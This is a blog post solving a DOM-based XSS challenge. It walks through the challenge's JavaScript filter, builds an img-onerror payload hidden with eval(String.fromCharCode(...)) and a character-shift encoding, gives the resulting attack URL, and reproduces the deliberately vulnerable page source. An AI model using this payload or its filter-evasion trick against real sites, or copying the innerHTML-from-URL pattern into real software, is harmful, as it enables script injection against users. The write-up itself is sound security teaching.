Checkout this cool blog from Prakhar Prasad (http://blog.prakharprasad.com/), they setup an interesting XSS challenge that requires code analysis to solve, here: xss.prakharprasad.com (also thanks to MaXoNe who I think contributed to it).
//(If you find this useful, why not checkout a advert below to support the blog? :O ) ~r0ng
It's a fun challenge, try it yourself! My solution/analysis below:
ignoring commented out lines: */1.)
function ascii(data) {
return parseInt(data.charCodeAt(0)); //returns the integers from the unicode equivalent of data
}2.)
function chr(data) {
return String.fromCharCode(data); //convert data from unicode equivalent to string
}3.)
function simple_decode(data) { //function decode variable 'data'
var decoded = '';
data = data.substr(0, data.length - 6); //cut the last 6 characters out of data
for (i = 0; i < data.length; i++) { //for each character in the 'cut' data...
decoded += (chr(ascii(data[i]) - 1)) //converts the data from unicode (less 1) back to string
}
return decoded;
}4.)
function validate(data) {
data = simple_decode(data); //get string (less 1 in unicode for each character), set new data variable
//filter- regmatch: "alert(", "prompt(", or "confirm(" return null if any found.
cond = (data.indexOf(simple_decode('bmfsu)itSvMl')) > -1 || data.indexOf(simple_decode('qspnqu)eUbfjz')) > -1 || data.indexOf(simple_decode('dpogjsn)ptBfCe')) > -1);
return (cond ? null : data);
}5.)
function getData(hash)
{
return unescape(hash.substr(1, hash.length));//unescape uri encoded hash, drop first character
}6.)
if (location.hash) { //now dealing with url anchors e.g. whatever.html#data
taint = validate(getData(location.hash)); //taint= input data only if doesn't contain alert(, prompt( etc..
cond = getData(location.hash); //cond= data from url
if (cond.substr(cond.length - 1, 1) == '!') {//if the last character in the data is "!", then change the hello element's html
document.getElementById('hello').innerHTML = taint;
}
} else {
document.getElementById('hello').innerHTML += '<br> Try to find a valid XSS vector, after reviewing the code :)'
}
Lets reverse:
1. Innerhtml (DOM) cannot run JS via JS tags, but we have an app for that! onerror attribute!: <img src=a onerror=alert()>
2. we need to have a "!" at the end of the vector. Vector now:
<img src=a onerror=alert()>!
3. Defeat the filter, indexof won't find alert if it is charcode encoded (overkill). Also add 6 characters that are stripped. Vector now: "<img src=a onerror=eval(String.fromCharCode(97,108,101,114,116,40,39,67,104,101,97,116,115,111,110,39,41))>!!!!!!!!"
4. and finally add 1 in unicode to each character "=jnh!tsd>b!pofssps>fwbm)Tusjoh/gspnDibsDpef):8-219-212-225-227-51-4:-78-215-212-:8-227-226-222-221-4:-52**?""!!!!"
http://
xss.prakharprasad.com#=jnh!tsd>b!pofssps>fwbm)Tusjoh/gspnDibsDpef):8-219-212-225-227-51-4:-225-59-221-214-43-22:-:8-226-43-215-212-225-212-4:-52**?!!!!!!!
The encoded vector was achieved by simply reversing the original code, open the below in your browser to do it yourself.
<script> |
And here is the original source code in case the site ever goes down:
<!DOCTYPE html>
<html>
<title>JavaScript Analysis and DOM-based XSS Challenge</title>
<head>
<style type="text/css">
#hello {
font-family:monospace;
font-size:30px;
color: #FFFFFF;
}
#one {
font-family:monospace;
font-style: italic;
color: #FFFFFF;
}
body {
background-color: #000000;
}
</head>
</style>
<body>
<center><b><p id='hello'> DOM-based XSS Challenge with JS Analysis</p></b>
</br>
</br>
</br>
<p id='one'>One does not simply finds a DOM based XSS without js analysis</p>
<img src='considered.png' width='350px' height='300px'>
</br>
</br>
</br>
<p id='one'>One does not simply finds a DOM based XSS without js analysis</p>
</center>
<script>
function ascii(data) {
return parseInt(data.charCodeAt(0));
}
function chr(data) {
return String.fromCharCode(data);
}
/*
function hmm()
{
var append = '';
for(i=0; i<=5;i++)
{
append += chr(Math.floor((Math.random()*58)+65));
}
return append;
}
function simple_encode(data)
{
hmm();
var encoded = '';
for(i=0; i<data.length;i++)
{
encoded +=(chr(ascii(data[i]) + 1));
}
encoded += hmm();
return encoded;
}
For Hints Ask: @prakharprasad, @rafaybaloch
Submit your vector: http://goo.gl/VlzWR
Special Thanks to Rafay Baloch, Maxone, Dhaval and Amol Naik
*/
function simple_decode(data) {
var decoded = '';
data = data.substr(0, data.length - 6);
for (i = 0; i < data.length; i++) {
decoded += (chr(ascii(data[i]) - 1))
}
return decoded;
}
function validate(data) {
data = simple_decode(data);
cond = (data.indexOf(simple_decode('bmfsu)itSvMl')) > -1 || data.indexOf(simple_decode('qspnqu)eUbfjz')) > -1 || data.indexOf(simple_decode('dpogjsn)ptBfCe')) > -1);
return (cond ? null : data);
}
function getData(hash)
{
return unescape(hash.substr(1, hash.length));
}
if (location.hash) {
taint = validate(getData(location.hash));
cond = getData(location.hash);
if (cond.substr(cond.length - 1, 1) == '!') {
document.getElementById('hello').innerHTML = taint;
}
} else {
document.getElementById('hello').innerHTML += '<br> Try to find a valid XSS vector, after reviewing the code :)'
}
</script> </body>
</html>
No comments:
Post a Comment